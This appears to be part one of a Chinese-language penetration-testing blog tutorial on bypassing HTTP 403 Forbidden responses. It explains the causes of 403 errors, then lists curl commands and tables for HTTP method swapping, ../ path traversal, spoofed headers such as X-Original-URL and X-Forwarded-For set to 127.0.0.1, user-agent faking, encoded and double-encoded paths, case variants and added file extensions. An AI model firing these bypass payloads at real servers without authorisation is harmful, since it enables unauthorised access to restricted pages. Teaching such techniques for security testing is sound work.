Web 渗透：如何绕过403 Forbidden？ Part I
Web 渗透常常遇到403 page，思考三秒，遇到后下一步你会尝试什么操作？有思路吗？
遇到一遍毕竟好的文章，相对系统的讲了具体的绕过技术，抽空学学写下来....
目录
---------------------------------------------------------------------------------------------------------------------------------
啥是403 Forbidden 错误？
403 禁止错误是一个 HTTP 状态码，表示服务器理解你的请求，但你不被允许访问该资源。
可以把它想象成俱乐部的保镖说：“是的，我知道你是谁，但你不在名单上。
403错误的常见原因
- IP地址阻断或白名单：
访问会被拒绝针对特定IP地址范围，通常是安全策略的一部分，用来限制或允许来自特定来源的流量。 - 权限配置不当（ACL，IAM）：
错误的访问控制列表（ACL）或身份与访问管理（IAM）设置可能阻止授权用户访问资源。 - 用户代理、Referer或方法限制：
请求通常基于用户代理头、Referer头或HTTP方法（如GET、POST）进行过滤或拦截，以阻断机器人、爬虫或未经授权的流量。 - 配置错误的反向代理（NGINX、Apache）：
反向代理配置（如NGINX或Apache）可能被错误设置，基于安全策略阻断特定资源或路径的访问。 - 文件或目录权限问题：
错误配置的文件或目录权限会限制对某些资源的访问，导致用户访问时出现403错误。 - 速率限制或限速：
基于请求频率的服务器端限制可能导致用户在特定时间内超过允许的请求数时，出现403错误。 - 认证或授权失败：
权限不足、凭证缺失或令牌无效可能导致403错误，通常由认证或授权检查失败引起。 - 防火墙或安全软件阻断：
安全软件如Web应用防火墙（WAF）可能阻断符合特定模式的请求，如SQL注入尝试或其他恶意活动。 - 地理访问限制：
一些网站根据用户的地理位置限制访问，某些国家或地区的请求可能会被阻止，触发403错误。
作为渗透测试人员，如何绕过403 🐕
1 篡改http 方法
许多服务器主要对常见的HTTP方法如GET或POST施加访问控制。如果切换到较少使用的方法，如PUT、PATCH、DELETE或TRACE，你可能可以绕过。。因为服务配置未考虑给这些method设置相关的规则
例如
curl -X OPTIONS --path-as-is https://example.com/private/ curl -X GET --path-as-is https://example.com/private/ curl -X POST --path-as-is https://example.com/private/ curl -X PUT --path-as-is https://example.com/private/ curl -X DELETE --path-as-is https://example.com/private/ curl -X PATCH --path-as-is https://example.com/private/ curl -X HEAD --path-as-is https://example.com/private/ curl -X TRACE --path-as-is https://example.com/private/ curl -X CONNECT --path-as-is https://example.com/private/ curl -X PROPFIND --path-as-is https://example.com/private/ curl -X MKCOL --path-as-is https://example.com/private/ curl -X COPY --path-as-is https://example.com/private/ curl -X MOVE --path-as-is https://example.com/private/ curl -X LOCK --path-as-is https://example.com/private/ curl -X UNLOCK --path-as-is https://example.com/private/ curl -X SEARCH --path-as-is https://example.com/private/-X：指定 HTTP 方法（动词）。默认curl会在有正文时用POST、无正文时用GET；加-X可以强制成其他方法（如UNLOCK、SEARCH等）。--path-as-is：让curl不要做 URL 规范化（normalization）。具体来说，它不会把路径里某些序列“友好化”或自动解码，例如保留%2F、重复斜杠、结尾点等。这在测试安全场景或 WebDAV/特殊路由时很关键。举个栗子展开说说：
目标 URL：https://example.com/../admin/
不加 --path-as-is：
curl -X GET https://example.com/../admin/curl 会规范化路径，把 ../ 去掉，最终请求的是：
https://example.com/admin/ 如果 /admin/ 被服务器保护（返回 403），你就无法测试绕过。
加 --path-as-is：
curl -X GET --path-as-is https://example.com/../admin/curl 会原样发送 ../admin/，有些服务器或中间件可能错误处理这种路径，导致绕过访问控制（例如本来禁止 /admin/，但没正确处理 ../ 就给绕过了。。。）。
潜在效果：可能绕过 403 Forbidden，访问到敏感页面。
2. Header 操纵
在测试403绕过或其他访问控制错误配置时，攻击者常常操纵HTTP头部以欺骗服务器获得访问权限。以下是一些常见被滥用的头部、它们的典型值以及它们试图实现的目标
# Common Headers Used for Bypass Attempts
| Header | Example Value | Purpose / Notes |
|---------------------------|----------------------------|---------------------------------------------------------|
| X-Original-URL | /admin | Access restricted paths via rewritten URLs |
| X-Rewrite-URL | /admin | Similar to X-Original-URL; processed by some proxies |
| X-Custom-IP-Authorization | 127.0.0.1 | Spoof internal IP (localhost) |
| X-Forwarded-For | 127.0.0.1 | Spoof client IP to appear as localhost |
| X-Client-IP | 127.0.0.1 | Another way to impersonate internal IP |
| X-Host | localhost | Manipulate host-based access controls |
| Referer | http://trustedsite.com/ | Trick server into trusting the source of the request |
用 X-Original-URL or X-Rewrite-URL headers 重新请求路径，尤其nginx反向代理
curl -H “X-Original-URL: /admin” https://example.com/some-page curl -H “X-Rewrite-URL: /admin” https://example.com/some-page
- 两条命令都向
https://example.com/some-page发送一个请求，但额外加了一个自定义请求头：X-Original-URL: /adminX-Rewrite-URL: /admin
在一些历史遗留或错误配置的框架 / 反向代理 / 中间件（尤其是 IIS + URL Rewrite、某些 PHP/Node/Python 框架）中，应用会信任这些非标准头，并用它们来覆盖原始请求行中的路径。结果就是：虽然浏览器或 curl 看起来访问的是 /some-page，但后端真正处理的却可能是**/admin。这就可能绕过基于路径的访问控制（ACL/WAF/缓存规则）**。这是业界已知的“URL 重写漏洞（URL rewrite vulnerability）/Request URL Override”
reference: URL rewrite vulnerability - Vulnerabilities - Acunetix
使用自定义用户代理绕过
有些服务器通过检查 User-Agent 头部，阻止来自 Burp Suite 或 curl 等工具的请求。伪装成真实浏览器可以绕过基本filters
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" http://example.com/private/简单说就是让系统以为你是真实浏览器用户而不是burp等自动化工具
3 路径 Fuzzing & Encoding
Encodling 绕过
许多服务器会阻断像 /admin 这样的直接路径，但无法检测编码、修改或案例变体。
curl -g --path-as-is "https://example.com/%2e%2e/admin" # ../ curl -g --path-as-is "https://example.com/%2e%2e%2fadmin" # ../admin curl -g --path-as-is "https://example.com/%2e%2e%2f%61dmin" # ../admin with 'a' encoded curl -g --path-as-is "https://example.com/%2e%2e/%2e%2e/admin" # ../../admin curl -g --path-as-is "https://example.com/%2e%2e/%2fadmin" # ..//admin curl -g --path-as-is "https://example.com/%20/admin" # space/admin curl -g --path-as-is "https://example.com/%2e%2fadmin" # ./admin curl -g --path-as-is "https://example.com/admin%2f" # admin/ curl -g --path-as-is "https://example.com/admin%252f" # admin%2f (double encoded) curl -g --path-as-is "https://example.com/admin%2e%2e%2f" # admin../ -g = --globoff，关闭 URL globbing，让 curl 按你写的 URL 原样发送。
path fuzzing
| Trick | Example | Purpose |
|-----------------------------|---------------------------------|-------------------------------------------------|
| Add a trailing slash | /admin/ | Bypass filters expecting exact match (`/admin`) |
| Add ..;/ | /..;/admin | Bypass via path confusion |
| Double slashes | //admin// | Bypass normalization rules |
| Add a dot at the end | /admin. | May trick poorly written regex or filters |
| URL-encode the slash | /admin%2f | Evade path filters with encoding |
| Add random extension | /admin.php, /admin.json | Some servers ignore unknown extensions |
| Backslashes or mixed slashes| \admin, /admin\/ | Break or confuse path parsers |
| Trailing semicolon or space | /admin;, /admin%20 | May confuse parsers or match loosely |
| Unicode tricks | /admin%c0%af, /admin%ef%bc%8f | Unicode slash bypasses |
| Append junk param or fragment| /admin?foo=bar# | May bypass path-only checks |
大小写 😄
curl https://example.com/admin
curl https://example.com/Admin
curl https://example.com/ADMIN
curl https://example.com/aDmiN
curl https://example.com/adMin
curl https://example.com/AdMiN
curl https://example.com/aDMIN
curl https://example.com/ADMIn
加后缀
curl https://example.com/admin.json curl https://example.com/admin.css curl https://example.com/admin.js curl https://example.com/admin.html curl https://example.com/admin.php curl https://example.com/admin.aspx curl https://example.com/admin.xml curl https://example.com/admin.txt curl https://example.com/admin.bak curl https://example.com/admin.old curl https://example.com/admin.zip curl https://example.com/admin.tar.gz这些技巧可用是由于服务器限制访问 /admin，但由于路由或文件处理规则不严谨，允许访问 /admin.json 或其他变体。
换句话说：
如果应用只对精确路径 /admin 做了访问控制，而没有对 /admin.json、/admin/、/admin; 等变体做同样的限制，那么攻击者可以通过这些“变形路径”绕过限制，访问敏感资源。
下次接着写吧~~~
